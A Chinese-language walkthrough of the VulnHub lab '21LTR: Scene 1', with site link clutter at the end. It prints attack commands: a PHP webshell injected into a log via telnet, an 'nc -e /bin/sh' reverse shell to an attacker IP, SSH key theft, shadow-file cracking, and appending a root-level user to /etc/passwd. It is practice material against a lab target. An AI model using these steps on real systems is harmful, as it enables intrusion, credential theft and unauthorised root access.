当前位置: 首页 > news >正文

21LTR-Scene打靶渗透【附POC】(权限提升)

靶机下载地址:21LTR: Scene 1 ~ VulnHub21LTR: Scene 1, made by JayMaster2000. Download & walkthrough links are available.icon-default.png?t=N7T8https://www.vulnhub.com/entry/21ltr-scene-1,3/

1. 主机发现+端口扫描+目录扫描【192.168.2.120】

1.1. 主机发现

nmap -sn 192.168.2.0/24|grep -B 2 '00:50:56:22:3F:C9'

1.2. 端口扫描

nmap -P- 192.168.2.120

1.3. 目录扫描【无可利用信息】

dirb http://192.168.7.120

2. web漏洞寻找

2.1. 进入80端口

  1. 进入主页面 -> 右键查看源代码 -> 获取账号密码【logs:zg]E-b0]+8:(58G

2.2. 尝试FTP连接

  1. 连接成功

ftp 192.168.2.120

  1. pwd查看当前位置 -> ls -al 查看当前文件夹的详细信息 -> 发现存在一个backup_log.php文件

  1. get下载文件 -> cat查看 -> 包含有一个 PHP 程序,用于在目标系统上生成备份日志

get backup_log.php /home/kali/Desktop/log1.php

#新起一个窗口 cat查看文件

cat log1.php

  1. 它是php的日志文件,写入日志中getshell,利用10001端口写入 -> 跟随路径查看/logs/backup_log.php

telnet 192.168.2.120 10001

<?php system($_GET['cmd']) ?>

  1. 拼接路径?cmd=whoami

2.3. 尝试使用 netcat 在本地机器上获取反向 shell

?cmd=nc -e /bin/sh 192.168.2.218 443

# kali监听

nc -lvnp 443

3. 权限提升

3.1. 存在SSH服务->尝试读取密钥,将读取到的内容保存到kali中

#telnet中输入

cat /media/USB_1/Stuff/Keys/id_rsa

#kali中保存 查看

cat id_rsa

  1. 赋予权限,然后使用ssh进行登录

chmod 600 id_rsa

ssh -i id_rsa hbeale@192.168.2.120

  1. 查看shadow文件

sudo cat /etc/shadow

  1. 将root用户的密码写入到passwort.txt中,然后进行破解,成功破解出密码formula1

  1. ssh连接root->需要密码拒绝

  1. 写入高权限用户了、使用openssl命令生成密码

  1. 使用echo命令将sdsd用户写入到/etc/passwd文件中
echo 'sdsd:$1$4ldeNKAb$acub46AxdAf2RRZrnag8Z/:0:0:root:/root:/bin/bash' >> /etc/passwd

  1. su sdsd

使用su命令切换到sdsd用户,发现提权成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • uniapp 多渠道打包实现方案
  • 【Buffer Pool】定长内存池的实现
  • cmake(1)
  • 【C++】:错误处理机制 -- 异常
  • 图像处理案例02
  • 效率何止10倍!利用输入法瞬间调用提示词
  • Harmony OS 卡片能力
  • ARM 离线安装k8s + harbor私有镜像库(麒麟)
  • NLP 之词的表示与语言模型
  • 巴黎奥运会8K转播科技为国产品牌自主研发设计
  • 第二章 部署LVS-DR集群
  • Mongodb权限
  • 谷粒商城实战笔记-136-商城业务-首页-整合thymeleaf渲染首页
  • Django异步请求和后台管理实战
  • 『哈哥赠书 - 55期』-『码农职场:IT人求职就业手册』
  • hexo+github搭建个人博客
  • interface和setter,getter
  • js递归,无限分级树形折叠菜单
  • JWT究竟是什么呢?
  • mongodb--安装和初步使用教程
  • NLPIR语义挖掘平台推动行业大数据应用服务
  • ucore操作系统实验笔记 - 重新理解中断
  • 成为一名优秀的Developer的书单
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 服务器从安装到部署全过程(二)
  • 京东美团研发面经
  • 码农张的Bug人生 - 初来乍到
  • 日剧·日综资源集合(建议收藏)
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 网络应用优化——时延与带宽
  • 文本多行溢出显示...之最后一行不到行尾的解决
  • 硬币翻转问题,区间操作
  • ​【C语言】长篇详解,字符系列篇3-----strstr,strtok,strerror字符串函数的使用【图文详解​】
  • # Redis 入门到精通(九)-- 主从复制(1)
  • # Redis 入门到精通(七)-- redis 删除策略
  • (1)(1.13) SiK无线电高级配置(六)
  • (Redis使用系列) Springboot 实现Redis 同数据源动态切换db 八
  • (SpringBoot)第七章:SpringBoot日志文件
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (翻译)Quartz官方教程——第一课:Quartz入门
  • (附源码)springboot课程在线考试系统 毕业设计 655127
  • (删)Java线程同步实现一:synchronzied和wait()/notify()
  • (四)搭建容器云管理平台笔记—安装ETCD(不使用证书)
  • (源码版)2024美国大学生数学建模E题财产保险的可持续模型详解思路+具体代码季节性时序预测SARIMA天气预测建模
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • .“空心村”成因分析及解决对策122344
  • .bat批处理(六):替换字符串中匹配的子串
  • .net core 连接数据库,通过数据库生成Modell
  • .Net Framework 4.x 程序到底运行在哪个 CLR 版本之上
  • .Net Remoting(分离服务程序实现) - Part.3
  • .net 程序 换成 java,NET程序员如何转行为J2EE之java基础上(9)
  • .NET 事件模型教程(二)
  • .NET 中的轻量级线程安全
  • .NET:自动将请求参数绑定到ASPX、ASHX和MVC(菜鸟必看)